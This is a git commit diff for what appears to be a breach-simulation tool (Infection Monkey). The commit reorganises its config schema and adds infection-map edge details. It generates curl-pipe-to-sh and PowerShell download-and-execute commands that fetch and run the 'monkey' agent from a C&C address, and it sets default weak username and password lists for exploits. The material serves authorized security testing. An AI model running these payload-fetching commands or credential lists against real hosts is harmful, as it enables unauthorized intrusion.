Add basic config tab
Add actual snippets for windows+linux 32/64 Add support for edges info in graph
This commit is contained in:
parent
385fa22b80
commit
41cc0202c5
|
@ -97,6 +97,64 @@ SCHEMA = {
|
|||
}
|
||||
},
|
||||
"properties": {
|
||||
"basic": {
|
||||
"title": "Basic",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"network": {
|
||||
"title": "Network",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"blocked_ips": {
|
||||
"title": "Blocked IPs",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
],
|
||||
"description": "List of IPs to not scan"
|
||||
}
|
||||
}
|
||||
},
|
||||
"credentials": {
|
||||
"title": "Credentials",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"exploit_user_list": {
|
||||
"title": "Exploit user list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
],
|
||||
"description": "List of usernames to use on exploits using credentials"
|
||||
},
|
||||
"exploit_password_list": {
|
||||
"title": "Exploit password list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"description": "List of password to use on exploits using credentials"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"title": "Monkey",
|
||||
"type": "object",
|
||||
|
@ -393,41 +451,6 @@ SCHEMA = {
|
|||
}
|
||||
}
|
||||
},
|
||||
"credentials": {
|
||||
"title": "Credentials",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"exploit_user_list": {
|
||||
"title": "Exploit user list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
],
|
||||
"description": "List of usernames to use on exploits using credentials"
|
||||
},
|
||||
"exploit_password_list": {
|
||||
"title": "Exploit password list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"description": "List of password to use on exploits using credentials"
|
||||
}
|
||||
}
|
||||
},
|
||||
"ms08_067": {
|
||||
"title": "MS08_067",
|
||||
"type": "object",
|
||||
|
@ -605,17 +628,6 @@ SCHEMA = {
|
|||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"blocked_ips": {
|
||||
"title": "Blocked IPs",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
],
|
||||
"description": "List of IPs to not scan"
|
||||
},
|
||||
"local_network_scan": {
|
||||
"title": "Local network scan",
|
||||
"type": "boolean",
|
||||
|
|
|
@ -55,16 +55,13 @@ class EdgeService:
|
|||
exploit_container["result"] = True
|
||||
exploit_container["end_timestamp"] = new_exploit["timestamp"]
|
||||
|
||||
return \
|
||||
{
|
||||
"id": edge["_id"],
|
||||
"from": edge["from"],
|
||||
"to": edge["to"],
|
||||
"ip_address": edge["ip_address"],
|
||||
"services": services,
|
||||
"os": os,
|
||||
"exploits": exploits
|
||||
}
|
||||
displayed_edge = EdgeService.edge_to_net_edge(edge)
|
||||
displayed_edge["ip_address"] = edge["ip_address"]
|
||||
displayed_edge["services"] = services
|
||||
displayed_edge["os"] = os
|
||||
displayed_edge["exploits"] = exploits
|
||||
displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge)
|
||||
return displayed_edge
|
||||
|
||||
@staticmethod
|
||||
def exploit_to_displayed_exploit(exploit):
|
||||
|
@ -113,13 +110,15 @@ class EdgeService:
|
|||
|
||||
@staticmethod
|
||||
def generate_pseudo_edge(edge_id, edge_from, edge_to):
|
||||
return \
|
||||
edge = \
|
||||
{
|
||||
"id": edge_id,
|
||||
"from": edge_from,
|
||||
"to": edge_to,
|
||||
"group": "island"
|
||||
}
|
||||
edge["_label"] = EdgeService.get_edge_label(edge)
|
||||
return edge
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_island_pseudo_edges():
|
||||
|
@ -184,6 +183,22 @@ class EdgeService:
|
|||
{"_id": edge["_id"]},
|
||||
{"$set": {"exploited": True}}
|
||||
)
|
||||
|
||||
cc.services.node.NodeService.set_node_exploited(edge["to"])
|
||||
|
||||
@staticmethod
|
||||
def get_edge_label(edge):
|
||||
NodeService = cc.services.node.NodeService
|
||||
from_label = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
|
||||
to_id = NodeService.get_monkey_by_id(edge["to"])
|
||||
if to_id is None:
|
||||
to_label = NodeService.get_node_label(NodeService.get_node_by_id(edge["to"]))
|
||||
else:
|
||||
to_label = NodeService.get_monkey_label(to_id)
|
||||
|
||||
RIGHT_ARROW = unichr(8594)
|
||||
return "%s %s %s" % (
|
||||
from_label,
|
||||
RIGHT_ARROW,
|
||||
to_label)
|
||||
|
||||
|
||||
|
|
|
@ -85,7 +85,6 @@ class NodeService:
|
|||
|
||||
return True
|
||||
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_label(monkey):
|
||||
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
|
||||
|
|
|
@ -93,13 +93,12 @@ class MapPageComponent extends React.Component {
|
|||
.then(res => this.setState({selected: res, selectedType: 'node'}));
|
||||
}
|
||||
else if (event.edges.length === 1) {
|
||||
let edgeGroup = this.state.graph.edges.filter(
|
||||
let displayedEdge = this.state.graph.edges.find(
|
||||
function(edge) {
|
||||
return edge['id'] === event.edges[0];
|
||||
})[0]['group'];
|
||||
if (edgeGroup == 'island') {
|
||||
console.log('selection cleared.'); // eslint-disable-line no-console
|
||||
this.setState({selected: null, selectedType: null});
|
||||
});
|
||||
if (displayedEdge['group'] == 'island') {
|
||||
this.setState({selected: displayedEdge, selectedType: 'island_edge'});
|
||||
} else {
|
||||
fetch('/api/netmap/edge?id='+event.edges[0])
|
||||
.then(res => res.json())
|
||||
|
|
|
@ -30,8 +30,16 @@ class RunMonkeyPageComponent extends React.Component {
|
|||
this.props.onStatusChange();
|
||||
}
|
||||
|
||||
generateCmd(ip) {
|
||||
return `curl http://${ip}:5000/get-monkey | sh`;
|
||||
generateLinuxCmd(ip, is32Bit) {
|
||||
let bitText = is32Bit ? '32' : '64';
|
||||
return `curl http://${ip}:5000/api/monkey/download/monkey-linux-${bitText} | sh`;
|
||||
}
|
||||
|
||||
generateWindowsCmd(ip, is32Bit) {
|
||||
let bitText = is32Bit ? '32' : '64';
|
||||
return `
|
||||
PowerShell (New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe','monkey.exe');
|
||||
Start-Process -FilePath 'monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`;
|
||||
}
|
||||
|
||||
runLocalMonkey = () => {
|
||||
|
@ -50,6 +58,27 @@ class RunMonkeyPageComponent extends React.Component {
|
|||
});
|
||||
};
|
||||
|
||||
generateCmdDiv(ip, isLinux, is32Bit) {
|
||||
let cmdText = "";
|
||||
if (isLinux) {
|
||||
cmdText = this.generateLinuxCmd(ip, is32Bit);
|
||||
} else {
|
||||
cmdText = this.generateWindowsCmd(ip, is32Bit);
|
||||
}
|
||||
return (
|
||||
<Well className="well-sm" style={{'margin': '0.5em'}}>
|
||||
<div style={{'overflow': 'auto', 'padding': '0.5em'}}>
|
||||
<CopyToClipboard text={cmdText} className="pull-right btn-sm">
|
||||
<Button style={{margin: '-0.5em'}} title="Copy to Clipboard">
|
||||
<Icon name="clipboard"/>
|
||||
</Button>
|
||||
</CopyToClipboard>
|
||||
<code>{cmdText}</code>
|
||||
</div>
|
||||
</Well>
|
||||
)
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<Col xs={8}>
|
||||
|
@ -83,18 +112,18 @@ class RunMonkeyPageComponent extends React.Component {
|
|||
<br/>
|
||||
<span className="text-muted">(The IP address is used as the monkey's C&C address)</span>
|
||||
</p>
|
||||
<Well className="well-sm">
|
||||
|
||||
{this.state.ips.map(ip =>
|
||||
<div style={{'overflow': 'auto', 'padding': '0.5em'}}>
|
||||
<CopyToClipboard text={this.generateCmd(ip)} className="pull-right btn-sm">
|
||||
<Button style={{margin: '-0.5em'}} title="Copy to Clipboard">
|
||||
<Icon name="clipboard"/>
|
||||
</Button>
|
||||
</CopyToClipboard>
|
||||
<code>{this.generateCmd(ip)}</code>
|
||||
</div>
|
||||
|
||||
[
|
||||
this.generateCmdDiv(ip, true, true),
|
||||
this.generateCmdDiv(ip, true, false),
|
||||
this.generateCmdDiv(ip, false, true),
|
||||
this.generateCmdDiv(ip, false, false)
|
||||
]
|
||||
|
||||
)}
|
||||
</Well>
|
||||
|
||||
</div>
|
||||
<p style={{'fontSize': '1.2em'}}>
|
||||
Go ahead and monitor the ongoing infection in the <Link to="/infection/map">Infection Map</Link> view.
|
||||
|
|
|
@ -30,6 +30,8 @@ class PreviewPaneComponent extends React.Component {
|
|||
}
|
||||
|
||||
infectedAssetInfo(asset) {
|
||||
// TODO: Have exploit info expandable (show detailed attempts)
|
||||
// TODO: consider showing scans with exploits on same timeline
|
||||
return (
|
||||
<div>
|
||||
{this.assetInfo(asset)}
|
||||
|
@ -50,17 +52,54 @@ class PreviewPaneComponent extends React.Component {
|
|||
}
|
||||
|
||||
infectionInfo(edge) {
|
||||
return (
|
||||
<div>
|
||||
|
||||
</div>
|
||||
);
|
||||
return this.scanInfo(edge);
|
||||
}
|
||||
|
||||
scanInfo(edge) {
|
||||
return (
|
||||
<div>
|
||||
<table className="table table-condensed">
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>Operating System</th>
|
||||
<td>{edge.os.type}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>IP Address</th>
|
||||
<td>{edge.ip_address}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Services</th>
|
||||
<td>{edge.services.map(val => <div key={val}>{val}</div>)}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
||||
<ul className="timeline">
|
||||
{ edge.exploits.map(exploit =>
|
||||
<li key={exploit.start_timestamp}>
|
||||
<div className={'bullet ' + (exploit.result ? 'bad' : '')}></div>
|
||||
<div>{exploit.start_timestamp}</div>
|
||||
<div>{exploit.origin}</div>
|
||||
<div>{exploit.exploiter}</div>
|
||||
</li>
|
||||
)}
|
||||
</ul>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
islandEdgeInfo() {
|
||||
return (
|
||||
<div>
|
||||
<table className="table table-condensed">
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>Communicates directly with island</th>
|
||||
<td>True</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
@ -71,13 +110,28 @@ class PreviewPaneComponent extends React.Component {
|
|||
case 'edge':
|
||||
info = this.props.item.exploits.length ?
|
||||
this.infectionInfo(this.props.item) : this.scanInfo(this.props.item);
|
||||
break;
|
||||
case 'node':
|
||||
info = this.props.item.exploits.some(exploit => exploit.result) ?
|
||||
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
|
||||
break;
|
||||
case 'island_edge':
|
||||
info = this.islandEdgeInfo();
|
||||
break;
|
||||
}
|
||||
|
||||
let label = '';
|
||||
if (!this.props.item) {
|
||||
label = '';
|
||||
} else if (this.props.item.hasOwnProperty('label')) {
|
||||
label = this.props.item['label'];
|
||||
} else if (this.props.item.hasOwnProperty('_label')) {
|
||||
label = this.props.item['_label'];
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="preview-pane">
|
||||
{ !this.props.item ?
|
||||
{ !info ?
|
||||
<span>
|
||||
<Icon name="hand-o-left" style={{'marginRight': '0.5em'}}></Icon>
|
||||
Select an item on the map for a preview
|
||||
|
@ -85,7 +139,7 @@ class PreviewPaneComponent extends React.Component {
|
|||
:
|
||||
<div>
|
||||
<h3>
|
||||
<b>{this.props.item.label}</b>
|
||||
{label}
|
||||
</h3>
|
||||
|
||||
<hr/>
|
||||
|
|
Loading…
Reference in New Issue